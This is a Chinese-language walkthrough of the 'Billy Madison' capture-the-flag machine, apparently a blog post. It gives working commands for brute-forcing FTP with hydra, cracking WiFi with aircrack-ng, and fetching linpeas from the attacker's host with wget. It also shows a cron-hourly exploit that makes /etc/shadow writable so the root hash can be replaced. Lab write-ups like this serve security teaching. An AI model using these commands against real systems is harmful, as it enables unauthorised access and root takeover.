🖳 主机发现

熟悉的netdiscover -r

─$ sudo netdiscover -r 192.168.234.0/24 Currently scanning: Finished!   |   Screen View: Unique Hosts                                 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                    _____________________________________________________________________________   IP            At MAC Address     Count     Len  MAC Vendor / Hostname       ----------------------------------------------------------------------------- 192.168.234.45  00:0c:29:1f:87:52      1      60  VMware, Inc.                                     192.168.234.196 20:1e:88:ad:fc:55      1      60  Intel Corporate                                  192.168.234.177 c6:62:32:b7:68:66      1      60  Unknown vendor  

目标机器是192.168.134.45

👁 服务扫描

使用nmap对其进行扫描

sudo nmap -p- 192.168.234.45 --min-rate 8000 
  • –min-rate 设置最小发包速度为8000,在靶场环境可以快速扫描出结果

🚪🚶 获取权限

一个个探测,经过尝试,smb服务中有一个txt文件,里面提示我们eric的后门以及关闭了。

23端口用telnet连接后,给了我们一个提示

telnet 192.168.234.45 23***** HAHAH! You're banned for a while, Billy Boy!By the way, I caught you trying to hack my wifi - but the joke's on you!I don't use ROTten passwords like rkfpuzrahngvat anymore!Madison Hotels is as good as MINE!!!! *****

这里给了一个rot13加密的一个字符串

经过尝试后,这个解密后的字符串是一个web页面的路径

从这个页面我们可以得到的信息有:

  • veronica使用她的名字作为密码
  • 有一个流量文件在这个路径下,也使用的和veronica相关的名字

那我们先得到一个关于veronica的字典

cat /usr/share/wordlists/rockyou.txt | grep veronica > pass.txt

使用dirbuster进行爆破


从这个流量文件中,我们可以分析出俩个重要信息

  • eric在机器上有一个ftp账号
  • 该机器的ftp使用了knock服务,需要以一个特定序列进行”敲门”后才会开放



注:knock服务科普
无需多言,我们敲门

注:若是登录ftp的时候报错有关passive的话先输入passive命令进入passive mode

登录上ftp服务器后,在eric的目录下找到一个.note文件,里面记载了一个后门的打开方法,以及eric的ssh密码在veronica或者billy的目录下。我们爆破一下veronica的ftp试试

hydra -l veronica -P pass.txt 192.168.234.45 ftp


登录上veronica后,我们可以找到一个eml文件和一个cap流量文件,把他下载下来分析一下后发现流量是wifi流量,邮件中也提到了这一点。而wifi的密码就是eric的ssh密码

那我们用aircrack-ng爆破一下wifi密码试试

aircrack-ng eg-01.cap -w /usr/share/wordlists/rockyou.txt


在爆破的同时,我们也发送一下邮件,激活后门

telnet 192.168.234.45 2525


现在我们再进行一个nmap扫描,查看是否有新的服务开启

sudo nmap -p- -sV 192.168.234.45 --min-rate 10000


我们可以使用eric:triscuit* 去ssh连接

🛡️ 提升权限

我们在本地开启python的web服务,然后在靶机上用wget下载辅助提权脚本

kali:python3 -m http.server 80eric@BM:/tmp$ wget http://192.168.234.130/linpeas.sh--2023-12-03 06:56:14--  http://192.168.234.130/linpeas.shConnecting to 192.168.234.130:80... connected.HTTP request sent, awaiting response... 200 OKLength: 847815 (828K) [text/x-sh]Saving to: ‘linpeas.sh’linpeas.sh               100%[==================================>] 827.94K  --.-KB/s    in 0.01s   2023-12-03 06:56:14 (56.4 MB/s) - ‘linpeas.sh’ saved [847815/847815]eric@BM:/tmp$ chmod +x linpeas.sh 

运行脚本之后,我们可以找到一个有趣的文件

我们从整个eric的攻击流程可以知道他使用了一个钓鱼的手法让veronica下载了一个恶意文件,我们可以检查一下这个文件的md5值

eric@BM:/tmp$ md5sum /usr/local/share/sgml/donpcgdcd3621324a40c20e54aad9ecef2f6ed5  /usr/local/share/sgml/donpcgd


我们用google搜索dgcpnod后即可发现这个exploit的利用方法

而具体的exp如下

eric@BM:/tmp$ touch /tmp/rootme; chmod +x /tmp/rootme; /usr/local/share/sgml/donpcgd /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme#### mknod(/etc/cron.hourly/rootme,81fd,0)

然后我们可以用watch命令监察/etc/shadow

watch -n 5 "ls -la /etc/shadow"
  • -n 指定每次监察间隔

    这时我们就可以修改shadow文件来提权(稳妥起见可以先对shadow文件进行备份,不管是修改shadow文件还是passwd文件,原理都是一样的)
    第一步:生成密码
mkpasswd -m sha-512 root 
  • -m 加密指定模式

    第二步:将原来的hash值或者x(passwd文件)替换为我们生成的hash值

    至此,提权成功,使用su切换到root用户

📖 推荐文章

Billy Madison下载
ftp的passive模式
youtube视频 wp

更多文章请访问我的博客rightevil.github.io